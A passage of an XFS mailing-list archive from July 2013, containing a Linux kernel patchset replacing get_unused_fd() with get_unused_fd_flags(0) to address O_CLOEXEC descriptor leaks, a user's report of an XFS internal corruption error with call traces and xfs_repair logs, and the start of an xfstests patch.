O_CLOEXEC must be the default flag. Using O_CLOEXEC by default allows userspace to choose, without race, if the file descriptor is going to be inherited across exec(). They are two ways to achieve this: - makes get_unused_fd() use O_CLOEXEC by default It's difficult to get it right: every code using of get_unused_fd() must take this change into account and be fixed as soon as macro get_unused_fd() do the switch. Non updated code will have unexpected behavor and it's likely going to break API contract. - remove get_unused_fd() It's going to break some out of tree, not yet upstream kernel code, but it's easy to notice and fix. Anyway, newer code should use anon_inode_getfd() or get_unused_fd_flags(). The latter option was choosen to ensure no unexpected behavor for out of tree, not yet upstream code. Removing the macro is the safest choice: it's better to break build than trying to make get_unused_fd() use O_CLOEXEC by default and get all user of get_unused_fd() update. Additionnaly, removing the macro is not going to break modules ABI. In linux-next tag 20130702, they're currently: - 15 calls to get_unused_fd_flags() not counting get_unused_fd() and anon_inode_getfd() - 14 calls to get_unused_fd() - 11 calls to anon_inode_getfd() The following patchset try to convert all calls to get_unused_fd() to get_unused_fd_flags(0) before removing get_unused_fd() macro. Without get_unused_fd() macro, more subsystems are likely to use anon_inode_getfd() and be teached to provide an API that let userspace choose the opening flags of the file descriptor. Yann Droneaud (13): ia64: use get_unused_fd_flags(0) instead of get_unused_fd() ppc/cell: use get_unused_fd_flags(0) instead of get_unused_fd() infiniband: use get_unused_fd_flags(0) instead of get_unused_fd() android/sw_sync: use get_unused_fd_flags(0) instead of get_unused_fd() android/sync: use get_unused_fd_flags(0) instead of get_unused_fd() vfio: use get_unused_fd_flags(0) instead of get_unused_fd() binfmt_misc: use get_unused_fd_flags(0) instead of get_unused_fd() file: use get_unused_fd_flags(0) instead of get_unused_fd() fanotify: use get_unused_fd_flags(0) instead of get_unused_fd() xfs: use get_unused_fd_flags(0) instead of get_unused_fd() events: use get_unused_fd_flags(0) instead of get_unused_fd() sctp: use get_unused_fd_flags(0) instead of get_unused_fd() file: remove get_unused_fd() arch/ia64/kernel/perfmon.c | 2 +- arch/powerpc/platforms/cell/spufs/inode.c | 4 ++-- drivers/infiniband/core/uverbs_cmd.c | 4 ++-- drivers/staging/android/sw_sync.c | 2 +- drivers/staging/android/sync.c | 2 +- drivers/vfio/vfio.c | 2 +- fs/binfmt_misc.c | 2 +- fs/file.c | 2 +- fs/notify/fanotify/fanotify_user.c | 2 +- fs/xfs/xfs_ioctl.c | 2 +- include/linux/file.h | 1 - kernel/events/core.c | 2 +- net/sctp/socket.c | 2 +- 13 files changed, 14 insertions(+), 15 deletions(-) -- 1.8.3.1 From ydroneaud@quest-ce.net Tue Jul 2 11:40:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0C9B87F60 for ; Tue, 2 Jul 2013 11:40:28 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id EFA488F8050 for ; Tue, 2 Jul 2013 09:40:27 -0700 (PDT) X-ASG-Debug-ID: 1372783224-04cbb0468eaa0ea0001-NocioJ Received: from smtp3-g21.free.fr (smtp3-g21.free.fr [212.27.42.3]) by cuda.sgi.com with ESMTP id dxpHyswI10DXTAws for ; Tue, 02 Jul 2013 09:40:25 -0700 (PDT) X-Barracuda-Envelope-From: ydroneaud@quest-ce.net X-Barracuda-Apparent-Source-IP: 212.27.42.3 Received: from localhost.localdomain (unknown [37.161.30.250]) by smtp3-g21.free.fr (Postfix) with ESMTP id AFA45A6245; Tue, 2 Jul 2013 18:40:20 +0200 (CEST) Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by localhost.localdomain (8.14.7/8.14.5) with ESMTP id r62GeIDK005242; Tue, 2 Jul 2013 18:40:18 +0200 Received: (from ydroneaud@localhost) by localhost.localdomain (8.14.7/8.14.7/Submit) id r62GeIqd005241; Tue, 2 Jul 2013 18:40:18 +0200 From: Yann Droneaud To: linux-kernel@vger.kernel.org, xfs@oss.sgi.com Cc: Yann Droneaud Subject: [PATCH 10/13] xfs: use get_unused_fd_flags(0) instead of get_unused_fd() Date: Tue, 2 Jul 2013 18:39:34 +0200 X-ASG-Orig-Subj: [PATCH 10/13] xfs: use get_unused_fd_flags(0) instead of get_unused_fd() Message-Id: <8d21b76c621dbfc59b2dbbfc933f96170835304d.1372777600.git.ydroneaud@opteya.com> X-Mailer: git-send-email 1.8.3.1 In-Reply-To: References: In-Reply-To: References: X-Barracuda-Connect: smtp3-g21.free.fr[212.27.42.3] X-Barracuda-Start-Time: 1372783224 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135607 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Macro get_unused_fd() is used to allocate a file descriptor with default flags. Those default flags (0) can be "unsafe": O_CLOEXEC must be used by default to not leak file descriptor across exec(). Instead of macro get_unused_fd(), functions anon_inode_getfd() or get_unused_fd_flags() should be used with flags given by userspace. If not possible, flags should be set to O_CLOEXEC to provide userspace with a default safe behavor. In a further patch, get_unused_fd() will be removed so that new code start using anon_inode_getfd() or get_unused_fd_flags() with correct flags. This patch replaces calls to get_unused_fd() with equivalent call to get_unused_fd_flags(0) to preserve current behavor for existing code. The hard coded flag value (0) should be reviewed on a per-subsystem basis, and, if possible, set to O_CLOEXEC. Signed-off-by: Yann Droneaud --- fs/xfs/xfs_ioctl.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 5e99968..dc5b659 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -248,7 +248,7 @@ xfs_open_by_handle( goto out_dput; } - fd = get_unused_fd(); + fd = get_unused_fd_flags(0); if (fd < 0) { error = fd; goto out_dput; -- 1.8.3.1 From kbr@grid-vfx.com Tue Jul 2 12:17:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 190D77F3F for ; Tue, 2 Jul 2013 12:17:39 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id BD38E8F808E for ; Tue, 2 Jul 2013 10:17:38 -0700 (PDT) X-ASG-Debug-ID: 1372785455-04bdf0233eab94b0001-NocioJ Received: from krypton.gent.grid-vfx.com (d5153058D.static.telenet.be [81.83.5.141]) by cuda.sgi.com with ESMTP id sBquZmYc5GrNyAwV (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 02 Jul 2013 10:17:36 -0700 (PDT) X-Barracuda-Envelope-From: kbr@grid-vfx.com X-Barracuda-Apparent-Source-IP: 81.83.5.141 Received: from idefix.gent.grid-vfx.com ([200.0.0.92] helo=idefix.grid-vfx.com) by krypton.gent.grid-vfx.com with esmtp (Exim 4.72) (envelope-from ) id 1Uu4Cs-0000JP-Py for xfs@oss.sgi.com; Tue, 02 Jul 2013 19:17:34 +0200 Received: from kbr by idefix.grid-vfx.com with local (Exim 4.72) (envelope-from ) id 1Uu4Cs-0002v9-MT for xfs@oss.sgi.com; Tue, 02 Jul 2013 19:17:34 +0200 Date: Tue, 2 Jul 2013 19:17:34 +0200 From: Koen Breugelmans To: xfs@oss.sgi.com Subject: Internal error XFS_WANT_CORRUPTED_GOTO Message-ID: <20130702171734.GA6187@grid-vfx.com> X-ASG-Orig-Subj: Internal error XFS_WANT_CORRUPTED_GOTO MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="rwEMma7ioTxnRzrJ" Content-Disposition: inline User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: d5153058D.static.telenet.be[81.83.5.141] X-Barracuda-Start-Time: 1372785456 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135609 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- --rwEMma7ioTxnRzrJ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline hey, last night on of our filesystems filled up (which is another problem ;), and when that happened, i noticed the following error twice in the syslog: XFS: Internal error XFS_WANT_CORRUPTED_GOTO at line 1320 of file /build/buildd-linux_3.2.35-1-i386-9hA0hl/linux-3.2.35/fs/xfs/xfs_alloc.c. Caller 0xffffffffa03e9abd more complete log excerpt + call trace attached. i reacted by mounting that filesystem read-only, running an 'xfs_repair -n' on it. because the apparent lack of trouble there, i continued by unmounting the filesystem in all, then running a normal 'xfs_repair' (both output of dry-run and real thing attached). can somebody explain what happened here? the filesystem rides on top of an LVM logical volume here if that might be of any relevance. there were (some) free physical extents in the volume group it was part of (used to extend the LV, and grow the FS -- none of which happened until the xfs_repair was completed) let me know if you want some other specific information. kind regards, -- / Koen Breugelmans (koen.br@grid-vfx.com) / systeembeheer GRID-VFX --rwEMma7ioTxnRzrJ Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="xfs-rushes-repair-info.txt" [3016734.678367] XFS: Internal error XFS_WANT_CORRUPTED_GOTO at line 1320 of file /build/buildd-linux_3.2.35-1-i386-9hA0hl/linux-3.2.35/fs/xfs/xfs_alloc.c. Caller 0xffffffffa03e9abd [3016734.678370] [3016734.678463] Pid: 13986, comm: kworker/0:0 Not tainted 3.2.0-4-amd64 #1 Debian 3.2.35-1 [3016734.678466] Call Trace: [3016734.678489] [] ? xfs_alloc_ag_vextent_size+0x3b1/0x566 [xfs] [3016734.678505] [] ? xfs_alloc_ag_vextent+0x1f/0xbd [xfs] [3016734.678521] [] ? xfs_alloc_vextent+0x2c4/0x457 [xfs] [3016734.678538] [] ? xfs_bmap_btalloc+0x418/0x571 [xfs] [3016734.678555] [] ? xfs_bmapi_allocate+0x100/0x22c [xfs] [3016734.678572] [] ? xfs_bmapi_write+0x2f1/0x59a [xfs] [3016734.678585] [] ? xfs_iomap_write_allocate+0x1c8/0x2d8 [xfs] [3016734.678596] [] ? xfs_map_blocks+0x134/0x1d3 [xfs] [3016734.678606] [] ? xfs_vm_writepage+0x234/0x3e1 [xfs] [3016734.678611] [] ? __writepage+0xa/0x21 [3016734.678615] [] ? write_cache_pages+0x1f8/0x2e9 [3016734.678619] [] ? set_page_dirty_lock+0x2b/0x2b [3016734.678623] [] ? generic_writepages+0x3a/0x52 [3016734.678628] [] ? __filemap_fdatawrite_range+0x4b/0x50 [3016734.678640] [] ? xfs_flush_pages+0x53/0x83 [xfs] [3016734.678654] [] ? xfs_sync_inode_data+0x62/0x7a [xfs] [3016734.678668] [] ? xfs_inode_ag_walk.isra.6+0xe9/0x195 [xfs] [3016734.678682] [] ? xfs_sync_worker+0x6a/0x6a [xfs] [3016734.678700] [] ? xfs_perag_get+0x38/0x84 [xfs] [3016734.678714] [] ? xfs_sync_worker+0x6a/0x6a [xfs] [3016734.678728] [] ? xfs_inode_ag_iterator+0x41/0x88 [xfs] [3016734.678742] [] ? xfs_sync_data+0x39/0x39 [xfs] [3016734.678755] [] ? xfs_sync_data+0x19/0x39 [xfs] [3016734.678759] [] ? worker_set_flags+0x66/0x8f [3016734.678773] [] ? xfs_flush_worker+0x15/0x20 [xfs] [3016734.678777] [] ? process_one_work+0x163/0x284 [3016734.678781] [] ? process_scheduled_works+0x18/0x25 [3016734.678784] [] ? worker_thread+0xdc/0x145 [3016734.678788] [] ? manage_workers.isra.25+0x15b/0x15b [3016734.678792] [] ? kthread+0x76/0x7e [3016734.678796] [] ? kernel_thread_helper+0x4/0x10 [3016734.678800] [] ? kthread_worker_fn+0x139/0x139 [3016734.678804] [] ? gs_change+0x13/0x13 [3016734.678810] XFS (dm-3): page discard on page ffffea000a52c130, inode 0x5b80000088, offset 1559400448. [3016735.644011] XFS: Internal error XFS_WANT_CORRUPTED_GOTO at line 1320 of file /build/buildd-linux_3.2.35-1-i386-9hA0hl/linux-3.2.35/fs/xfs/xfs_alloc.c. Caller 0xffffffffa03e9abd [3016735.644013] [3016735.644107] Pid: 3451, comm: rsync Not tainted 3.2.0-4-amd64 #1 Debian 3.2.35-1 [3016735.644109] Call Trace: [3016735.644128] [] ? xfs_alloc_ag_vextent_size+0x3b1/0x566 [xfs] [3016735.644139] [] ? xfs_alloc_ag_vextent+0x1f/0xbd [xfs] [3016735.644149] [] ? xfs_alloc_vextent+0x2c4/0x457 [xfs] [3016735.644159] [] ? xfs_bmap_btalloc+0x418/0x571 [xfs] [3016735.644170] [] ? xfs_bmapi_allocate+0x100/0x22c [xfs] [3016735.644181] [] ? xfs_bmapi_write+0x2f1/0x59a [xfs] [3016735.644190] [] ? xfs_iomap_write_allocate+0x1c8/0x2d8 [xfs] [3016735.644197] [] ? xfs_map_blocks+0x134/0x1d3 [xfs] [3016735.644203] [] ? xfs_vm_writepage+0x234/0x3e1 [xfs] [3016735.644208] [] ? __writepage+0xa/0x21 [3016735.644210] [] ? write_cache_pages+0x1f8/0x2e9 [3016735.644212] [] ? set_page_dirty_lock+0x2b/0x2b [3016735.644215] [] ? generic_writepages+0x3a/0x52 [3016735.644218] [] ? __filemap_fdatawrite_range+0x4b/0x50 [3016735.644226] [] ? xfs_flush_pages+0x53/0x83 [xfs] [3016735.644236] [] ? xfs_file_buffered_aio_write+0x128/0x15c [xfs] [3016735.644239] [] ? should_resched+0x5/0x23 [3016735.644246] [] ? xfs_file_aio_write+0x170/0x20c [xfs] [3016735.644249] [] ? do_sync_write+0xb4/0xec [3016735.644253] [] ? security_file_permission+0x16/0x2d [3016735.644255] [] ? vfs_write+0xa2/0xe9 [3016735.644257] [] ? sys_write+0x45/0x6b [3016735.644260] [] ? sysenter_dispatch+0x7/0x2e [3016735.644267] XFS (dm-3): page discard on page ffffea000a52c168, inode 0x5b80000088, offset 1559404544. [3018799.264357] XFS (dm-3): Mounting Filesystem [3018799.430348] XFS (dm-3): Ending clean mount --rwEMma7ioTxnRzrJ Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="xfs-rushes-repair-n.txt" Phase 1 - find and verify superblock... Phase 2 - using internal log - scan filesystem freespace and inode maps... - found root inode chunk Phase 3 - for each AG... - scan (but don't clear) agi unlinked lists... - process known inodes and perform inode discovery... - agno = 0 - agno = 1 - agno = 2 - agno = 3 - agno = 4 - agno = 5 - agno = 6 - agno = 7 - agno = 8 - agno = 9 - agno = 10 - agno = 11 - agno = 12 - agno = 13 - agno = 14 - agno = 15 - agno = 16 - agno = 17 - agno = 18 - agno = 19 - agno = 20 - agno = 21 - agno = 22 - agno = 23 - agno = 24 - agno = 25 - agno = 26 - agno = 27 - agno = 28 - agno = 29 - agno = 30 - agno = 31 - agno = 32 - agno = 33 - agno = 34 - agno = 35 - agno = 36 - agno = 37 - agno = 38 - agno = 39 - agno = 40 - agno = 41 - agno = 42 - agno = 43 - agno = 44 - agno = 45 - agno = 46 - agno = 47 - agno = 48 - agno = 49 - agno = 50 - agno = 51 - agno = 52 - agno = 53 - agno = 54 - agno = 55 - agno = 56 - agno = 57 - agno = 58 - agno = 59 - agno = 60 - agno = 61 - agno = 62 - agno = 63 - agno = 64 - agno = 65 - agno = 66 - agno = 67 - agno = 68 - agno = 69 - agno = 70 - agno = 71 - agno = 72 - agno = 73 - agno = 74 - agno = 75 - agno = 76 - agno = 77 - agno = 78 - agno = 79 - agno = 80 - agno = 81 - agno = 82 - agno = 83 - agno = 84 - agno = 85 - agno = 86 - agno = 87 - agno = 88 - agno = 89 - agno = 90 - agno = 91 - agno = 92 - agno = 93 - agno = 94 - agno = 95 - agno = 96 - agno = 97 - agno = 98 - agno = 99 - agno = 100 - agno = 101 - agno = 102 - agno = 103 - agno = 104 - agno = 105 - agno = 106 - agno = 107 - agno = 108 - agno = 109 - agno = 110 - agno = 111 - agno = 112 - agno = 113 - agno = 114 - agno = 115 - agno = 116 - agno = 117 - agno = 118 - agno = 119 - agno = 120 - agno = 121 - agno = 122 - agno = 123 - agno = 124 - agno = 125 - agno = 126 - agno = 127 - agno = 128 - agno = 129 - agno = 130 - agno = 131 - agno = 132 - agno = 133 - agno = 134 - agno = 135 - agno = 136 - agno = 137 - agno = 138 - agno = 139 - agno = 140 - agno = 141 - agno = 142 - agno = 143 - agno = 144 - agno = 145 - agno = 146 - agno = 147 - agno = 148 - agno = 149 - agno = 150 - agno = 151 - agno = 152 - agno = 153 - agno = 154 - agno = 155 - agno = 156 - agno = 157 - agno = 158 - agno = 159 - agno = 160 - agno = 161 - agno = 162 - agno = 163 - agno = 164 - agno = 165 - agno = 166 - agno = 167 - agno = 168 - agno = 169 - agno = 170 - agno = 171 - agno = 172 - agno = 173 - agno = 174 - agno = 175 - agno = 176 - agno = 177 - agno = 178 - agno = 179 - agno = 180 - agno = 181 - agno = 182 - agno = 183 - agno = 184 - agno = 185 - agno = 186 - agno = 187 - agno = 188 - agno = 189 - agno = 190 - agno = 191 - agno = 192 - agno = 193 - agno = 194 - process newly discovered inodes... Phase 4 - check for duplicate blocks... - setting up duplicate extent list... - check for inodes claiming duplicate blocks... - agno = 0 - agno = 1 - agno = 2 - agno = 3 - agno = 4 - agno = 5 - agno = 6 - agno = 7 - agno = 8 - agno = 9 - agno = 10 - agno = 11 - agno = 12 - agno = 13 - agno = 14 - agno = 15 - agno = 16 - agno = 17 - agno = 18 - agno = 19 - agno = 20 - agno = 21 - agno = 22 - agno = 23 - agno = 24 - agno = 25 - agno = 26 - agno = 27 - agno = 28 - agno = 29 - agno = 30 - agno = 31 - agno = 32 - agno = 33 - agno = 34 - agno = 35 - agno = 36 - agno = 37 - agno = 38 - agno = 39 - agno = 40 - agno = 41 - agno = 42 - agno = 43 - agno = 44 - agno = 45 - agno = 46 - agno = 47 - agno = 48 - agno = 49 - agno = 50 - agno = 51 - agno = 52 - agno = 53 - agno = 54 - agno = 55 - agno = 56 - agno = 57 - agno = 58 - agno = 59 - agno = 60 - agno = 61 - agno = 62 - agno = 63 - agno = 64 - agno = 65 - agno = 66 - agno = 67 - agno = 68 - agno = 69 - agno = 70 - agno = 71 - agno = 72 - agno = 73 - agno = 74 - agno = 75 - agno = 76 - agno = 77 - agno = 78 - agno = 79 - agno = 80 - agno = 81 - agno = 82 - agno = 83 - agno = 84 - agno = 85 - agno = 86 - agno = 87 - agno = 88 - agno = 89 - agno = 90 - agno = 91 - agno = 92 - agno = 93 - agno = 94 - agno = 95 - agno = 96 - agno = 97 - agno = 98 - agno = 99 - agno = 100 - agno = 101 - agno = 102 - agno = 103 - agno = 104 - agno = 105 - agno = 106 - agno = 107 - agno = 108 - agno = 109 - agno = 110 - agno = 111 - agno = 112 - agno = 113 - agno = 114 - agno = 115 - agno = 116 - agno = 117 - agno = 118 - agno = 119 - agno = 120 - agno = 121 - agno = 122 - agno = 123 - agno = 124 - agno = 125 - agno = 126 - agno = 127 - agno = 128 - agno = 129 - agno = 130 - agno = 131 - agno = 132 - agno = 133 - agno = 134 - agno = 135 - agno = 136 - agno = 137 - agno = 138 - agno = 139 - agno = 140 - agno = 141 - agno = 142 - agno = 143 - agno = 144 - agno = 145 - agno = 146 - agno = 147 - agno = 148 - agno = 149 - agno = 150 - agno = 151 - agno = 152 - agno = 153 - agno = 154 - agno = 155 - agno = 156 - agno = 157 - agno = 158 - agno = 159 - agno = 160 - agno = 161 - agno = 162 - agno = 163 - agno = 164 - agno = 165 - agno = 166 - agno = 167 - agno = 168 - agno = 169 - agno = 170 - agno = 171 - agno = 172 - agno = 173 - agno = 174 - agno = 175 - agno = 176 - agno = 177 - agno = 178 - agno = 179 - agno = 180 - agno = 181 - agno = 182 - agno = 183 - agno = 184 - agno = 185 - agno = 186 - agno = 187 - agno = 188 - agno = 189 - agno = 190 - agno = 191 - agno = 192 - agno = 193 - agno = 194 No modify flag set, skipping phase 5 Phase 6 - check inode connectivity... - traversing filesystem ... - traversal finished ... - moving disconnected inodes to lost+found ... Phase 7 - verify link counts... No modify flag set, skipping filesystem flush and exiting. --rwEMma7ioTxnRzrJ Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="xfs-rushes-repair.txt" Phase 1 - find and verify superblock... Phase 2 - using internal log - zero log... - scan filesystem freespace and inode maps... - found root inode chunk Phase 3 - for each AG... - scan and clear agi unlinked lists... - process known inodes and perform inode discovery... - agno = 0 - agno = 1 - agno = 2 - agno = 3 - agno = 4 - agno = 5 - agno = 6 - agno = 7 - agno = 8 - agno = 9 - agno = 10 - agno = 11 - agno = 12 - agno = 13 - agno = 14 - agno = 15 - agno = 16 - agno = 17 - agno = 18 - agno = 19 - agno = 20 - agno = 21 - agno = 22 - agno = 23 - agno = 24 - agno = 25 - agno = 26 - agno = 27 - agno = 28 - agno = 29 - agno = 30 - agno = 31 - agno = 32 - agno = 33 - agno = 34 - agno = 35 - agno = 36 - agno = 37 - agno = 38 - agno = 39 - agno = 40 - agno = 41 - agno = 42 - agno = 43 - agno = 44 - agno = 45 - agno = 46 - agno = 47 - agno = 48 - agno = 49 - agno = 50 - agno = 51 - agno = 52 - agno = 53 - agno = 54 - agno = 55 - agno = 56 - agno = 57 - agno = 58 - agno = 59 - agno = 60 - agno = 61 - agno = 62 - agno = 63 - agno = 64 - agno = 65 - agno = 66 - agno = 67 - agno = 68 - agno = 69 - agno = 70 - agno = 71 - agno = 72 - agno = 73 - agno = 74 - agno = 75 - agno = 76 - agno = 77 - agno = 78 - agno = 79 - agno = 80 - agno = 81 - agno = 82 - agno = 83 - agno = 84 - agno = 85 - agno = 86 - agno = 87 - agno = 88 - agno = 89 - agno = 90 - agno = 91 - agno = 92 - agno = 93 - agno = 94 - agno = 95 - agno = 96 - agno = 97 - agno = 98 - agno = 99 - agno = 100 - agno = 101 - agno = 102 - agno = 103 - agno = 104 - agno = 105 - agno = 106 - agno = 107 - agno = 108 - agno = 109 - agno = 110 - agno = 111 - agno = 112 - agno = 113 - agno = 114 - agno = 115 - agno = 116 - agno = 117 - agno = 118 - agno = 119 - agno = 120 - agno = 121 - agno = 122 - agno = 123 - agno = 124 - agno = 125 - agno = 126 - agno = 127 - agno = 128 - agno = 129 - agno = 130 - agno = 131 - agno = 132 - agno = 133 - agno = 134 - agno = 135 - agno = 136 - agno = 137 - agno = 138 - agno = 139 - agno = 140 - agno = 141 - agno = 142 - agno = 143 - agno = 144 - agno = 145 - agno = 146 - agno = 147 - agno = 148 - agno = 149 - agno = 150 - agno = 151 - agno = 152 - agno = 153 - agno = 154 - agno = 155 - agno = 156 - agno = 157 - agno = 158 - agno = 159 - agno = 160 - agno = 161 - agno = 162 - agno = 163 - agno = 164 - agno = 165 - agno = 166 - agno = 167 - agno = 168 - agno = 169 - agno = 170 - agno = 171 - agno = 172 - agno = 173 - agno = 174 - agno = 175 - agno = 176 - agno = 177 - agno = 178 - agno = 179 - agno = 180 - agno = 181 - agno = 182 - agno = 183 - agno = 184 - agno = 185 - agno = 186 - agno = 187 - agno = 188 - agno = 189 - agno = 190 - agno = 191 - agno = 192 - agno = 193 - agno = 194 - process newly discovered inodes... Phase 4 - check for duplicate blocks... - setting up duplicate extent list... - check for inodes claiming duplicate blocks... - agno = 0 - agno = 1 - agno = 2 - agno = 3 - agno = 4 - agno = 5 - agno = 6 - agno = 7 - agno = 8 - agno = 9 - agno = 10 - agno = 11 - agno = 12 - agno = 13 - agno = 14 - agno = 15 - agno = 16 - agno = 17 - agno = 18 - agno = 19 - agno = 20 - agno = 21 - agno = 22 - agno = 23 - agno = 24 - agno = 25 - agno = 26 - agno = 27 - agno = 28 - agno = 29 - agno = 30 - agno = 31 - agno = 32 - agno = 33 - agno = 34 - agno = 35 - agno = 36 - agno = 37 - agno = 38 - agno = 39 - agno = 40 - agno = 41 - agno = 42 - agno = 43 - agno = 44 - agno = 45 - agno = 46 - agno = 47 - agno = 48 - agno = 49 - agno = 50 - agno = 51 - agno = 52 - agno = 53 - agno = 54 - agno = 55 - agno = 56 - agno = 57 - agno = 58 - agno = 59 - agno = 60 - agno = 61 - agno = 62 - agno = 63 - agno = 64 - agno = 65 - agno = 66 - agno = 67 - agno = 68 - agno = 69 - agno = 70 - agno = 71 - agno = 72 - agno = 73 - agno = 74 - agno = 75 - agno = 76 - agno = 77 - agno = 78 - agno = 79 - agno = 80 - agno = 81 - agno = 82 - agno = 83 - agno = 84 - agno = 85 - agno = 86 - agno = 87 - agno = 88 - agno = 89 - agno = 90 - agno = 91 - agno = 92 - agno = 93 - agno = 94 - agno = 95 - agno = 96 - agno = 97 - agno = 98 - agno = 99 - agno = 100 - agno = 101 - agno = 102 - agno = 103 - agno = 104 - agno = 105 - agno = 106 - agno = 107 - agno = 108 - agno = 109 - agno = 110 - agno = 111 - agno = 112 - agno = 113 - agno = 114 - agno = 115 - agno = 116 - agno = 117 - agno = 118 - agno = 119 - agno = 120 - agno = 121 - agno = 122 - agno = 123 - agno = 124 - agno = 125 - agno = 126 - agno = 127 - agno = 128 - agno = 129 - agno = 130 - agno = 131 - agno = 132 - agno = 133 - agno = 134 - agno = 135 - agno = 136 - agno = 137 - agno = 138 - agno = 139 - agno = 140 - agno = 141 - agno = 142 - agno = 143 - agno = 144 - agno = 145 - agno = 146 - agno = 147 - agno = 148 - agno = 149 - agno = 150 - agno = 151 - agno = 152 - agno = 153 - agno = 154 - agno = 155 - agno = 156 - agno = 157 - agno = 158 - agno = 159 - agno = 160 - agno = 161 - agno = 162 - agno = 163 - agno = 164 - agno = 165 - agno = 166 - agno = 167 - agno = 168 - agno = 169 - agno = 170 - agno = 171 - agno = 172 - agno = 173 - agno = 174 - agno = 175 - agno = 176 - agno = 177 - agno = 178 - agno = 179 - agno = 180 - agno = 181 - agno = 182 - agno = 183 - agno = 184 - agno = 185 - agno = 186 - agno = 187 - agno = 188 - agno = 189 - agno = 190 - agno = 191 - agno = 192 - agno = 193 - agno = 194 Phase 5 - rebuild AG headers and trees... - reset superblock... Phase 6 - check inode connectivity... - resetting contents of realtime bitmap and summary inodes - traversing filesystem ... - traversal finished ... - moving disconnected inodes to lost+found ... Phase 7 - verify and correct link counts... done --rwEMma7ioTxnRzrJ-- From JBacik@fusionio.com Tue Jul 2 14:17:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 905A67F69 for ; Tue, 2 Jul 2013 14:17:25 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7E35930408C for ; Tue, 2 Jul 2013 12:17:25 -0700 (PDT) X-ASG-Debug-ID: 1372792641-04cb6c2a47801090001-NocioJ Received: from dkim2.fusionio.com (dkim2.fusionio.com [66.114.96.54]) by cuda.sgi.com with ESMTP id NMLmqYEGOTq31l4O (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 02 Jul 2013 12:17:21 -0700 (PDT) X-Barracuda-Envelope-From: JBacik@fusionio.com X-Barracuda-Apparent-Source-IP: 66.114.96.54 Received: from mx2.fusionio.com (unknown [10.101.1.160]) by dkim2.fusionio.com (Postfix) with ESMTP id 2005B9A06AA for ; Tue, 2 Jul 2013 13:17:21 -0600 (MDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fusionio.com; s=default; t=1372792641; bh=7PT/rrNOPbKNczllYizQ6jAK6Ig/zjW7s6JIU1bGlLk=; h=From:To:Subject:Date; b=mQwsm1z4iO+dMIDhTUejFH5cOb1jGRLG904amlKbcetj/of4Gj4QTbOSKrPRXllSW ZxjZoMPTmuPBaeV8Mr7tloz34/aJpEPeF4D5Hd9dueNX9hAi2KqqglGWv3nb+73+wB n3l+PXpUiVOkqDQjUM+fz2JD1ID6J56TCf4XWCO0= Received: from CAS2.int.fusionio.com (cas2.int.fusionio.com [10.101.1.41]) by mx2.fusionio.com with ESMTP id H5KKjFFj3AxHD2C0 (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Tue, 02 Jul 2013 13:17:20 -0600 (MDT) Received: from localhost (10.101.1.160) by mail.fusionio.com (10.101.1.41) with Microsoft SMTP Server (TLS) id 14.3.123.3; Tue, 2 Jul 2013 13:17:20 -0600 From: Josef Bacik To: , Subject: [PATCH] xfstests: make the scratch device for generic/256 slightly larger Date: Tue, 2 Jul 2013 15:17:18 -0400 X-ASG-Orig-Subj: [PATCH] xfstests: make the scratch device for generic/256 slightly 